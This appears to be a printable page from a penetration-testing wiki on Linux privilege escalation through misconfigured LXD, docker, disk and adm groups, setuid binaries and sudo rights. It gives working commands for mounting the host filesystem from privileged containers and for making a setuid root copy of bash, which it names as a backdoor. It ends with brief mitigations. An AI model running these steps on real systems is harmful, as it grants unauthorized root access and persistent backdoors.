This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Permission-based

Exploit misconfigured user and group permissions to escalation privileges

1 - Privileged Groups

Exploit highly-privileged group membership to obtain root access.

Certain groups give their members high privileges that can be abused to obtain root access on the host. Below are some examples:

LXC/LXD

LXD is similar to Docker and is Ubuntu’s container manager. Upon installation, all users are added to the LXD group.

devops@NIX02:~$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

Membership in the LXD group can be used to escalate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root.

# Import local container image
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
# Start a privileged container
lxc init alpine r00t -c security.privileged=true
# Mount host filesystem
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start r00t
# Spawn an interactive shell inside the container
lxc exec r00t /bin/sh

This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.

Docker

Placing a user in the docker group is essentially equivalent to root level access to the file system without a password. Members of the docker group can spawn new docker containers, and mount local file systems.

docker run -v /root:/mnt -it ubuntu

This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.

Disk

Users within the disk group have full access to any devices contained within /dev, such as /dev/sda1.

  • Attackers can use debugfs to access the entire file system with root-level privs.

ADM

Members of the adm group can read all logs under /var/log. This does not automatically grant root acccess, but can be leveraged to gather sensitive information.

2 - setuid

Leverage executables with setuid permissions to escalate privileges

The Set User IP upon Execution (setuid) permission can allow a user to execute a program or script with the permission of another user, typically with elevated privileges.

We may use the following command to find setuid files owned by root. Note that setuid executables will be marked with s.

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

If one of the executables listed above allows command to be executed, it can be leveraged for privilege escalation and execute commands as root.

  • We may use a resource like GTFOBins, or research vulnerabilities associated with the executable.

Bash with Setuid

When ran with -p, Bash retains the effective user ID of the owner of the binary. Creating a copy of Bash owned by root with setuid bit set can have two applications:

  1. For creating a backdoor that allows any user on the system to run commands as root.
  2. Escalating the ability to read/write file as root on the host system to the ability to execute commands as root.

Use the following commands to create a copy of Bash in the current directory with setuid owned by root, executable by everyone, and with setuid bit set.

cp $(which bash) .
chown root:root ./bash
chmod 4755 ./bash

Then, simply run ./bash -p:

$ ./bash -p
# whoami
root

3 - Sudo

Exploit misconfigured sudo privileges to escalation privileges

Sudo privileges can be granted to an account, permitting the account to run certain commands in the context of root or another account. When sudo is prepended to a command, the system will check if the user issuing the command has the appropriate rights as configured in /etc/sudoers file.

Sudo privileges can be enumerated using sudo -l:

  • Sometimes running this command requires us to provide the user’s password.
  • If an entry is marked with NOPASSWD, we can run the command without providing the user’s password.
john@NIX02:~$ sudo -l

Matching Defaults entries for john on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump

From here, the goal is to execute command from the program we are allowed to run. We can make use of resources such as GTFOBins to find options and other ways to execute command as root, or research vulnerabilities the specific version of the installed executable listed above.

Sudo Group

Similarly, if a user belongs in sudo or wheel group, we may be allowed to run any command as any user.

johnadm@NIX02:~$ sudo -l

User johnadm may run the following commands on NIX02:
    (ALL : ALL) ALL

In that cause, simply run sudo su to become root.

Mitigation

  1. Always specify the absolute path to any binaries listed in the sudoers file entry. Otherwise, an attacker may be able to leverage PATH abuse.
  2. Grant sudo rights sparingly and based on the principle of least privilege.
  3. Use solutions such as AppArmor